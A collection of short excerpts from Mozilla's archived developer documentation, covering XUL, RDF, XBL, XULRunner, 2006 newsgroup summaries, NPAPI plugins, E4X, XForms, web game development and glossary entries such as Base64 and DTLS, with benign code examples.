... the document's command dispatcher will locate controllers to handle a command by using the focused element's list.
... example <window id="controller-example" title="controller example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_delete"); }, iscommandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, docommand : function(cmd){ list.removeitemat(list.selectedindex); }, onevent : function(evt){ } }; list.controllers.appendcontroller(listcontroller); } </script> <listbox id="thelist"> <listitem label="ocean"/> <listitem label="desert"/> <listitem label="jungle"/> <listitem label="swamp"/> </li...
Additional Navigation - Archive of obsolete content
using a literal as the object of a triple is a common way to filter out specific items.
...it wouldn't be very common to filter for a specific child anyway.
... retrieving parents a very uncommon form of navigation you can also do is to navigate upwards using a member tag, that is to get all the parents of a node, as in this example: <query> <content uri="?start"/> <member container="?parent" child="?start"/> </query> this might be used, for instance, to start at a particular photo and find all of the containers that it is inside.
Template Logging - Archive of obsolete content
to summarize, the following forms of message may be logged: new active result for query 1 matching rule 2 a new data result has been added.
...common errors are misspelled variable names or <member> and <triple> elements placed in the wrong order.
...the first example generates no error and is a common template query pattern.
Complete - Archive of obsolete content
the approach that is normally recommended is pessimistic.
...restart the application using the command line switch: -uilocale fr-fr (of course, if your application is already in french, specify en-us here to switch the extension to english.) notes: if you use a shortcut or launcher icon to start the application, then you can add the command line switch by editing the icon's properties.
...to work around the bug, close the application, delete the file xul.mfl in its profile, then restart it with the command line switch.
Adding Properties to XBL-defined Elements - Archive of obsolete content
most of the work here is done in the oncommand handlers.
...xul: <box id="random-box" class="randomizer"/> <button label="generate" oncommand="document.getelementbyid('random-box').number=math.random();"/> <button label="show" oncommand="alert(document.getelementbyid('random-box').number)"/> xbl: <binding id="randomizer"> <implementation> <field name="number"/> </implementation> </binding> a number field has been defined in the binding, which stores the random number.
...it is also common to have the properties match an attribute on the xbl-defined element.
Introduction to RDF - Archive of obsolete content
mozilla provides datasources for this common data so that you can easily use them.
...<rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:animals="http://www.some-fictitious-zoo.com/rdf#"> <rdf:seq about="http://www.some-fictitious-zoo.com/all-animals"> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/mammals/lion"> <animals:name>lion</animals:name> <animals:species>panthera leo</animals:species> <animals:class>mammal</animals:class> </rdf:description> </rdf:li> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/arachnids/tarantula"> <animals:name>tarantula</animals:name> <animals:species>avicularia avicularia</anim...
...als:species> <animals:class>arachnid</animals:class> </rdf:description> </rdf:li> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/mammals/hippopotamus"> <animals:name>hippopotamus</animals:name> <animals:species>hippopotamus amphibius</animals:species> <animals:class>mammal</animals:class> </rdf:description> </rdf:li> </rdf:seq> </rdf:rdf> here, three records have been described, one for each animal.
More Event Handlers - Archive of obsolete content
example 1 : source view <vbox oncommand="alert(event.currenttarget.tagname);"> <button label="ok"/> <checkbox label="show images"/> </vbox> stop event propagation once you handle an event, regardless of where in the propagation the event is, you will likely want to stop the event from being sent to further elements, essentially stopping the capturing or bubbling phases from continuing.
...example 2 : source view <hbox id="outerbox"> <button id="okbutton" label="ok"/> </hbox> <script> function buttonpressed(event){ alert('button was pressed!'); } function boxpressed(event){ alert('box was pressed!'); event.stoppropagation(); } var button = document.getelementbyid("okbutton"); button.addeventlistener('command',buttonpressed,true); var outerbox = document.getelementbyid("outerbox"); outerbox.addeventlistener('command',boxpressed,true); </script> here, an event listener has been added to the button and another event listener has been added to the box.
...this event is commonly used to initialize fields and perform other tasks that need to be done before the user can use the window.
Property Files - Archive of obsolete content
a property file can also include comments.
... a line that begins with a hash sign ('#') is treated as a comment: # this is a comment welcomemessage=hello, world!
... # this is another comment goodbyemessage=come back soon!
XBL Example - Archive of obsolete content
an oncommand handler will need to be added to the previous and next buttons so that the page is changed when the buttons are pressed.
... conveniently, we can change the page using the custom 'page' property that was just added: <xul:button xbl:inherits="label=previoustext" oncommand="parentnode.parentnode.parentnode.page--;"/> <xul:description flex="1"/> <xul:button xbl:inherits="label=nexttext" oncommand="parentnode.parentnode.parentnode.page++;"/> because the 'page' property is only on the outer xul element, we need to to use the parentnode property to get to it.
... the final code the final code is as follows: example 2 : source <binding id="slideshow"> <content> <xul:vbox flex="1"> <xul:deck xbl:inherits="selectedindex" selectedindex="0" flex="1"> <children/> </xul:deck> <xul:hbox> <xul:button xbl:inherits="label=previoustext" oncommand="parentnode.parentnode.parentnode.page--;"/> <xul:description flex="1"/> <xul:button xbl:inherits="label=nexttext" oncommand="parentnode.parentnode.parentnode.page++;"/> </xul:hbox> </xul:vbox> </content> <implementation> <constructor> var totalpages=this.childnodes.length; document.getanonymousnodes(this)[0].childnodes[1].chi...
Using multiple DTDs - Archive of obsolete content
but there are situations where you want to use multiple dtds, for example to localize common widgets used in all your xul files, additionally to the ones specific to the file.
... assuming you have an entity called somebutton.label defined in mainwindow.dtd, you can access the entity like this: <button id="somebutton" label="&somebutton.label"> multiple dtds if you want to use multiple dtds with your xul file, you can simply list all of the dtds inside your dtd declaration: <!doctype window [ <!entity % commondtd system "chrome://myextensions/locale/common.dtd"> %commondtd; <!entity % mainwindowdtd system "chrome://myextension/locale/mainwindow.dtd"> %mainwindowdtd; ]> you can now access the entities declared in the dtds as shown above.
... assume you have an entity okbutton.label defined in file common.dtd.
XUL Questions and Answers - Archive of obsolete content
return to mozilla-dev-tech-xul summaries the frequently asked questions should be moved to xul faq (make sure they have a clear answer.) where can i get more information about creating mozsearch plugins?
... using the "icon" attribute on a button from xulplanet.com reference: this attribute should be used to set the usage for common buttons.
...if you are using a button that matches one of these common usages, use the icon attribute to indicate this.
XUL accessibility tool - Archive of obsolete content
while not meant to be a comprehensive test suite (meaning that passing all included tests does not guarantee that an application is free of accessibility bugs or issues), many of the most common accessibility mistakes will be found and reported.
... following things have been suggested or are planned for a future version of the tool: new tests: (aaronlev) warning: hardcoded color and pixel sizings (aaronlev) error: duplicate accesskey in a dialog (already have this for menus) (aaronlev) error: form control without accesskey (aaronlev) warning: accesskey as lowercase letter with descender (underlined g,j,y,q,p are hard to read, not recommended) (aaronandy) list of things to check manually, such as a list oftrees in the document (make sure they have accessible column picker equivs) or a list of toolbarbuttons (make sure they have accessible alternatives).
... (aaronandy) xul runner version that can run from the command line, check a text file, and output the results somewhere.
XML - Archive of obsolete content
when we say language, we mean that developers create a set of terms, orlexicon, and a relationship between these terms, or what some people call agrammar.
...you're a markup language programmer!
...xul is little beyond the set of tags used to define interface widgets, the relationship between them, or grammar, and some built-in flexibility for using extra resources like images, html elements, and other standards-based technologies.
grid - Archive of obsolete content
ArchiveMozillaXULgrid
it is most common to place elements within the rows and use the columns only to define their flexibility and width.
... whichever of the columns and rows is last in the grid is displayed on top; commonly the columns element appears in the grid first.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
iframe - Archive of obsolete content
attributes showcaret, src, type, transparent properties accessibletype, contentdocument, contentwindow, docshell, webnavigation examples <iframe src="table.php" flex="2" id="browsertable" name="table_frame"/> selecting an url from a menu <menulist oncommand="donav(this);"> <menupopup> <menuitem label="mozilla" value="http://mozilla.org" /> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net" /> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </menulist> <iframe id="myframe" flex="1"/> <script> function donav(obj) { var url = obj.selecteditem.v...
...subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
titlebar - Archive of obsolete content
the titlebar will send a command event after the move is complete.
... <?xml version="1.0"?> <window title="movable hud window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" width="300" height="200" style="background: transparent; -moz-appearance: none;"> <titlebar flex="1" oncommand="close()" style="background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened from the error console like this: open("file:///users/markus/sites/hudwindow.xul", "", "chrome=1, titlebar=0") attributes inherited from xul elem...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
tree - Archive of obsolete content
ArchiveMozillaXULtree
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
... xul for the tree: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="file://c:/main.css" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <row><button label="getrowvalues" oncommand="getrowcellvalues();"/></row> <tree flex="1" editable="true" id="mytree"> <treecols> <treecol label="active" type="checkbox" editable="true" /> <treecol label="name" flex="1" id="name"/> </treecols> <treechildren> <treeitem> <treerow> <treecell value="false"/> <treecell label="alice"/> </treerow> </treeitem> <treeitem> <treerow> ...
Building XULRunner with Python - Archive of obsolete content
this gives access to python features and modules and builds on mark hammond's pyxpcom work from active state.
...it might also be possible to use the open source mingw compiler with the correct msvc run time but that is apparently not recommended.
...for example def onload(): btntest = document.getelementbyid("btntest") btntest.addeventlistener('command', ontest, false) def ontest(): window.alert('button activated') window.addeventlistener('load', onload, false) one possible gotcha is that the default python path used to find modules that areimported explicitly includes the xulrunner executable directory and the directory that is current when xulrunner launches.
Dialogs in XULRunner - Archive of obsolete content
here is a short list of the button attributes on dialog; see also creating dialogs at mozillazine knowledge base: buttons a comma separated list of buttons to show on dialog (accept, cancel, help, extra1, and extra2).
... common dialogs some of the most frequently used common dialogs are for opening and saving files.
...lla.org/filepicker;1"].createinstance(nsifilepicker); fp.init(window, "open file", nsifilepicker.modeopen); fp.appendfilters(nsifilepicker.filtertext | nsifilepicker.filterall); var res = fp.show(); if (res == nsifilepicker.returnok) { var thefile = fp.file; alert(thefile.leafname); // --- do something with the file here --- } } xul does not currently support any other common dialogs.
XULRunner FAQ - Archive of obsolete content
this page is intended to answer frequently asked questions and correct common misconceptions about xulrunner.
... right now mozilla recommends that xulrunner should be deployed privately with each application.
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner Hall of Fame - Archive of obsolete content
conkeror a highly programmable web browser with a leopard-oriented design inspired by emacs.
...ieditweb users can add pages, images, forms, ecommerce many special effects and much more using the xulrunner based client.
...build instructions convertigo enterprise mashup server a web integrator and web clipper tool to build enterprise mashups nightingale nightingale is a communtiy fork of the songbird media player, bringing back linux support and much more.
calICalendarView - Archive of obsolete content
summary an object implementing calicalendarview is generally intended to serve as a way of manipulating a set of dom nodes corresonding to a visual representation of calievent and calitodo objects.
... calendar/base/public/calicalendarview.idlscriptable please add a summary to this article.
...note that this date is typically not immediately useful for querying for the events and tasks shown in the calicalendarview.
calICalendarViewController - Archive of obsolete content
summary a calicalendarviewcontroller provides a way for a calicalendarview to create, modify, and delete items.
... calendar/base/public/calicalendarviewcontroller.idlscriptable please add a summary to this article.
...the other values of the calievent (title, summary, alarm, etc) should likewise be set to defaults.
reftest opportunities files - Archive of obsolete content
any assistance or comments here would be appreciated.
...if you create a reftest for any of these bugs please attach the reftest to the bug and ask for review from the assignee (or anyone else that seems appropriate judging from comments in the bug).
...parser/htmlparser/tests/html/del009.html parser/htmlparser/tests/html/del008.html parser/htmlparser/tests/html/del007.html parser/htmlparser/tests/html/del006.html parser/htmlparser/tests/html/del005.html parser/htmlparser/tests/html/del004.html parser/htmlparser/tests/html/del003.html parser/htmlparser/tests/html/del002.html parser/htmlparser/tests/html/del001.html parser/htmlparser/tests/html/comments.html parser/htmlparser/tests/html/col016.html parser/htmlparser/tests/html/col015.html parser/htmlparser/tests/html/col014.html parser/htmlparser/tests/html/col013.html parser/htmlparser/tests/html/col012.html parser/htmlparser/tests/html/col011.html parser/htmlparser/tests/html/col010.html parser/htmlparser/tests/html/col009.html parser/htmlparser/tests/html/col008.html parser/htmlparser/tes...
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 6, 2006 - october 13, 2006 announcements firefox vista compatible and versioning heads up robert strong describes the compatibility between windows vista and firefox, also about the versioning change.
...(user feels print belongs on the context menu along with back, reload, etc.) questions about programming for firefox a student questions how to create an extension that changes fonts, and how to capture website content before it is displayed.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 13, 2006 - october 20, 2006 announcements content filtering, manipulation, and control in firefox 3 an open invitation from myk melez to contribute to the brainstorming of new features for firefox 3 and future firefox releases.
...to contribute visit the wiki discussions i wanna make an addon for firefox a commonly asked question in many newsgroups.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-10-26 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 20, 2006 - october 26, 2006 announcements none this week.
... rebuild firefox after modifying source code an inqury about how to rebuild the code after making a minor change - the user is unfamiliar with how to use the command prompt.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 20, 2006 - october 27, 2006 announcements none this week.
... rebuild firefox after modifying source code an inqury about how to rebuild the code after making a minor change - the user is unfamiliar with how to use the command prompt.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - november 4, 2006 - november 10, 2006 announcements none this week.
... favicon as microsummary/feed/other stuff indicator suggestion about making the favicon create a bookmark for the page with a microsummary.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - november 10, 2006 - november 17, 2006 announcements none this week.
... two questions: (1) launching a separate intance of firefox.exe, and (2) programmatically closing a window user has two questions about using adobe flex builder debugger in firefox 2.0.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - november 17, 2006 - november 24, 2006 announcements none this week.
... discussions microsummary w/ script a user created patch that will allow script to run in a sandbox during the update of a microsummary.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - november 24, 2006 - december 1, 2006 announcements none this week.
... developping microsummary generator questions and discussion surrounding microsummaries in ff 2.0.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - september 30-october 06, 2006 announcements mac user needed scott macgregor announced that .mac support and a dynamically add isp account feature has been added to the thunderbird account manager, however, testing is required before release can be issued.
... discussion highlights: ziga sancin suggests writing an introductory article for potential developers containing basic project information (history, list of main developers, project goals, roadmap and available communication channels, etc), tools needed to start developing and building tb, documentation on source structure as well as links to help one get started on the project.
... cédric corazza recommends that the proposed documention should be made available on the l10n cvs once it reaches a decent stage so that localizers can get a head-start on the localization before the final version is made available.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.builds - november 4th to november 10th 2006 browser buttons november 4th: mojr wants to know if firefox has a similar feature that the new ie 6 has built in.
... when he ran this "make -f client.mk build" command he receive an error saying "no such file or directory".
... summarized by: vanessa miranda & mohammad tirtashi ...
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.l10n - november 24, 2006 announcements thunderbird 2 release schedule for localizations beta 1 freeze for thunderbird 2 is scheduled on december 4th (en-us only).
... summary vs.
... live titles there seems to be a few locales that use "summary" or a translation thereof instead of "live titles" to name the ui part of microsummaries.
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.quality - september 23-29, 2006 announcements litmus down because of hardware failure - we are working to fix it - the hardware that litmus runs on failed over the weekend, so litmus is still down.
...he is looking for an approach to recommend to whom a bug report should be assigned (i.e.
...he has a working web-based tool called sibyl for providing both developer and component recommendations for bug reports.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - november 10 - november 17, 2006 announcements no meeting for this week.
... discussions itip and imip new designs for sending invitations available for comment discussion about the new interface designs for itip.
... authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - november 17 - november 24, 2006 announcements no meeting for this week.
... proposal for an event summary dialog discussions about design for an event summary dialog.
... authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
NPP_URLNotify - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary notifies the plug-in instance of the completion of a url request.
...values: npres_done (most common): completed normally.
... the most common reason code is npres_done, indicating simply that the request completed normally.
Writing a plugin for Mac OS X - Archive of obsolete content
info.plist the plugin communicates its mime and filename extension information using the info.plist file, which is packaged in the plugin bundle.
... the plugin also communicates its bundle type in that file, under the key cfbundlepackagetype; the type is 'brpl'.
... symbol visibility symbol visibility is a common problem for people trying to get npapi plugins working.
Plugins - Archive of obsolete content
gecko plugin api reference (npapi) this reference describes the application programming interfaces for npapi plugins and provides information about how to use these interfaces.
... scripting plugins: macromedia flash this article explains how javascript can be used to access methods from within the flash plugin, as well as how a feature called fscommands can be used to access javascript functions from within the flash animation.
... categories interwiki language links join the plugin development community choose your preferred method for joining the discussion: mailing list newsgroup rss feed ...
Well-Formed Web - Archive of obsolete content
the well-formed web rss module provides facilities for <item> level commenting: for linking to comments contained in an external rss feed, and for posting new comments.
... documentation selected articles why well-formed web rss module is popular - syndicating your comments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your comments (2005-08-22).
... references rss well-formed web module element list examples none available at this time community none available at this time tools none available at this time other resources well-formed web spec rss, rdf, xml ...
RSS - Archive of obsolete content
documentation why rss slash is popular - counting your comments charles iliya krempeaux talks about the rss slash module, why it is popular among some, and how it is used to give a count for your comments.
... why well-formed web rss module is popular - syndicating your comments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your comments.
... community view mozilla xml forums...
SAX - Archive of obsolete content
sax was the first widely adopted api for xml in java, and later implemented in several other programming language environments.
...comment and cdata nodes, dtd declarations, and entities).
... an example implementation of the most commonly used content handler: function print(s) { dump(s + "\n"); } xmlreader.contenthandler = { // nsisaxcontenthandler startdocument: function() { print("startdocument"); }, enddocument: function() { print("enddocument"); }, startelement: function(uri, localname, qname, /*nsisaxattributes*/ attributes) { var attrs = []; for(var i=0; i<attributes.length; i++) { attrs.push(attributes.getqname(i) + "='" + attributes.getvalue(i) + "'"); } print("startelement: namespace='" + uri + "', localname='" + localname + "', qname='" + qname + "', attributes={" + attrs.join(",") + "}"); }, endelement: function(uri, localname, qname) { print("endelement: namespace='...
Security Controls - Archive of obsolete content
limiting functionality and resolving security weaknesses have a common goal: give attackers as few opportunities as possible to breach a system.
... a common problem with security controls is that they often make systems less convenient or more difficult to use.
...department of commerce title: federal information processing standard publication 200, minimum security requirements for federal information and information systems last updated date: march 2006 copyright information: this document is not subject to copyright.
Vulnerabilities - Archive of obsolete content
according to the open web application security project, xss was the seventh most common web app vulnerability in 2017.
... the web security vulnerabilities are prioritized depending on exploitability, detectability and impact on software which can be any cms such as wordpress, joomla, magento, wocommerce and more.
... here are six of the most common website vulnerabilities you must protect yourself against.
Solaris 10 Build Prerequisites - Archive of obsolete content
optional software jds common build environment (cbe).
... the installer may tell you your c compiler is not the recommended compiler, but the compiler you installed will work fine, so you should tell the installer to use the compiler anyway.
...replace the commands in cbe that don't work on solaris 10.
The Basics of Web Services - Archive of obsolete content
summary: a current hot topic on the web right now are web services.
... a better way to understand a web service is to compare it to a html form communication with a server side script (such as php or asp) to post and send data.
... examples of web services in action as said before, rss and atom feeds are a simple example of how a web service works, most commonly, xml-rpc or soap are also used to communicate between a server and a client.
Using Firebug and jQuery (Screencast) - Archive of obsolete content
we're going to take an introductory look at the firebug firefox extension and the jquery javascript library - combining the two to build a reusable bookmarklet that can manipulate digg posts and comments.
... more tips: here are some more jquery selectors that you can use on a digg post: $("li.c-bury > div").remove(); - remove all buried comments, but none of the direct replies.
... $("div.c-body").show(); - show all comments, even ones that've been buried.
Processing XML with E4X - Archive of obsolete content
compatibility issues prior to widespread browser support for the <script> element, it was common for javascript embedded in a page to be surrounded by html comment tags to prevent <script> unaware browsers from displaying javascript code to the user.
...for backwards compatibility, e4x defaults to ignoring comments and cdata sections.
...the syntax is designed to be familiar to javascript programmers, but e4x does not provide a direct mapping from xml to native javascript objects; just the illusion of one.
E4X - Archive of obsolete content
ArchiveWebE4X
ecmascript for xml (e4x) is a programming language extension that adds native xml support to javascript.
... it does this by providing access to the xml document in a form that feels natural for ecmascript programmers.
...the difference between the two modes is that without the "e4x=1" mime type, any statement-level xml/html comment literals (<!--...-->) are ignored for backwards compatibility with the comment hiding trick, and cdata sections (<![cdata[...]]>) are not parsed as cdata literals (which leads to a js syntax error in html since html's <script> element produces an implicit cdata section, and therefore cannot contain explicit cdata sections).
Accessing XML children - Archive of obsolete content
you can remove a child node by using the delete command: var elem = <foo> <bar/> <baz/> </foo> delete elem.bar; leaves just <foo> <baz/> </foo> the .
... list[1] = "green"; changes the xml document to read <foo> <bar baz="1">red</bar> <bar baz="2">green</bar> </foo> special types of nodes xml objects have methods for accessing xml lists of certain common types of nodes as well.
... var a = <foo> some text <bar>not text</bar> more text </foo>; var list = a.text(); list.length(); // returns 2 list[0]; // returns " some text " list[1]; // returns " more text " you can similarly access comment nodes: xml.ignorecomments = false; var a = <foo> some <!-- abc --> text </foo>; var comments = a.comments(); alert(comments[0]); // returns <!-- abc --> the * selector will return all child nodes in an xml list.
JSException - Archive of obsolete content
summary the public class jsexception extends runtimeexception java.lang.object | +----java.lang.throwable | +----java.lang.exception | +----java.lang.runtimeexception | +----netscape.javascript.jsexception description jsexception is an exception which is thrown when javascript code returns an error.
... constructor summary the netscape.javascript.jsexception class has the following constructors: jsexception deprecated constructors optionally let you specify a detail message and other information.
... method summary the netscape.javascript.jsexception class has the following methods: getwrappedexception instance method getwrappedexception.
Troubleshooting XForms Forms - Archive of obsolete content
introduction the idea of this page is to collect some solutions to some of the common errors typically made when creating an xforms form.
... if all else fails ask the community ask on one of the mailing lists or on irc.
... see the community section on the xforms main page.
XForms Input Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding special inputmode - not supported for this control incremental - supported.
...since the introduction of labelposition, the behavior changed as described above to better match other implementations as well as commonly used gui guidelines.
...the lexical representation for xsd:gmonth is the left and right truncated lexical representation for xsd:date: --mm.
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
summary: an obscure bug in gecko causes list-item markers to be differently sizeed than the text of the list item, but there is a fix authors can use.
... authors who are not concerned with making sure the rule applies across all namespaces can use a slightly more simplified rule: *:-moz-list-bullet, *:-moz-list-number {font-size: 1em;} recommendations if it is important to make list item markers match the font size of the content, use one of the suggested rules.
...meyer, netscape communications last updated date: published 04 oct 2002; revised 07 mar 2003 copyright information: copyright © 2001-2003 netscape.
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
summary: when in quirks mode, gecko-based browsers will appear to ignore inheritance of font styles into tables from parent elements.
... recommendations in situations where authors must put a document into "quirks" mode but wish to enforce correct font inheritance into tables, use the demonstrated rule.
...meyer, netscape communications last updated date: published 26 nov 2002 copyright information: copyright © 2001-2003 netscape.
Mozilla's DOCTYPE sniffing - Archive of obsolete content
the public identifier "-//netscape comm.
... the public identifier "-//netscape comm.
... the public identifier "-//netscape comm.
RDF in Fifty Words or Less - Archive of obsolete content
and fundamentally, there's no reason that you shouldn't be able to treat these as "bookmarks" as well, grouping them together into folders as you please, or maybe even creating "smart" folders that, when you open them, dynamically generate their contents by running common search that you define.
...this syntax allows the graph-like model to be communicated between "agents".
...fundamentally, it means that parts of the rdf data model can be communicated across network boundaries, and the contents of the graph can dynamically change as information arrives from a remote service.
Web Standards - Archive of obsolete content
this article covers common issues associated with migrating applications to the open source mozilla-based browser.
... community view mozilla forums...
... mailing list newsgroup rss feed the web standards project webdev feedhouse other community links...
XUL Parser in Python - Archive of obsolete content
for example, you could easily adapt this to: return the id values of all the elements take elements on the command line and only spell them out build new chrome subdirectories (i.e.
...it also, i'm afraid, only works on the win32 platform, where the <tt>dir</tt> command it depends on gets you your xul files.
...after all the xul files in the specified directory and its subdirectories are fed to the parser and parsed (using the win32 system's <tt>dir /s /b *.xul</tt> command), the dictionary of dictionaries is sorted and written into an html table.
Introduction to game development for the Web - Game development
here's a thorough list to give you a taste of what the web can do for you: full screen api this simple api lets your game take over the entire screen, thereby immersing the player in action.
... javascript javascript, the programming language used on the web, is blazing fast in modern browsers and getting faster all the time.
... webrtc the webrtc (real-time communications) api gives you the power to control audio and video data, including teleconferencing and transmitting other application data back and forth between two users.
Game monetization - Game development
donations when all else fails you can try putting a donate button on your game's page and asking for support from the community.
...that's why carefully managing your community is so important.
... summary there are many ways to earn money — everything that applies to the "normal" aaa gaming world can be, more or less, applied to casual html5 games.
Building up a basic demo with PlayCanvas - Game development
the online editor is free for public projects with up to two team members, but there are also paid plans if you'd like to run a commercial private project with more developers.
... playcanvas engine built for modern browsers, playcanvas is a fully-featured 3d game engine with resource loading, an entity and component system, advanced graphics manipulation, collision and physics engine (built with ammo.js), audio, and facilities to handle control inputs from various devices (including gamepads).
... summary of course, it depends on your approach — designers may favor the online editor while programmers will prefer having the full control over the coding environment and will probably use the engine's source files.
Unconventional controls - Game development
implementing mobile and desktop controls is recommended is a must, and gamepad controls add that extra experience.
...it's possible with leap motion, an immersive controller for games and apps.
... summary i hope you liked the experiments — if you have any others that you think might interest other people, feel free to add details of them here.
Build the brick field - Game development
fill in the contents as shown below: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { var brickx = 0; var bricky = 0; newbrick = game.add.sprite(brickx, bricky, 'brick'); game.physics.enable(newbrick, phaser.physics.arcade); newbrick.body.immovable = true; newbrick.anchor.set(0.5); bricks.add(newbrick); } } here we're looping through the rows and columns to create the new bricks and place them on the screen.
... the newly created brick is enabled for the arcade physics engine, it's body is set to be immovable (so it won't move when hit by the ball), and we're also setting the anchor to be in the middle and adding the brick to the group.
....count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { var brickx = (c*(brickinfo.width+brickinfo.padding))+brickinfo.offset.left; var bricky = (r*(brickinfo.height+brickinfo.padding))+brickinfo.offset.top; newbrick = game.add.sprite(brickx, bricky, 'brick'); game.physics.enable(newbrick, phaser.physics.arcade); newbrick.body.immovable = true; newbrick.anchor.set(0.5); bricks.add(newbrick); } } } if you reload index.html at this point, you should see the bricks printed on screen, at an even distance from one another.
Base64 - MDN Web Docs Glossary: Definitions of Web-related terms
base64 encoding schemes are commonly used when there is a need to encode binary data that needs to be stored and transferred over media that are designed to deal with ascii.
...base64 is commonly used in a number of applications including email via mime, and storing complex data in xml.
... one common application of base64 encoding on the web is to encode binary data so it can be included in a data: url.
Cipher - MDN Web Docs Glossary: Definitions of Web-related terms
ciphers were common long before the information age (e.g., substitution ciphers, transposition ciphers, and permutation ciphers), but none of them were cryptographically secure except for the one-time pad.
... they also are classified according to how their keys are handled: symmetric key algorithms use the same key to encode and decode a message.
... asymmetric key algorithms use a different key for encryption and decryption.
DTLS (Datagram Transport Layer Security) - MDN Web Docs Glossary: Definitions of Web-related terms
datagram transport layer security (dtls) is a protocol used to secure datagram-based communications.
... these features are especially useful for one of the most common areas in which dtls comes into play: webrtc.
... all of the webrtc related protocols are required to encrypt their communications using dtls; this includes sctp, srtp, and stun.
MitM - MDN Web Docs Glossary: Definitions of Web-related terms
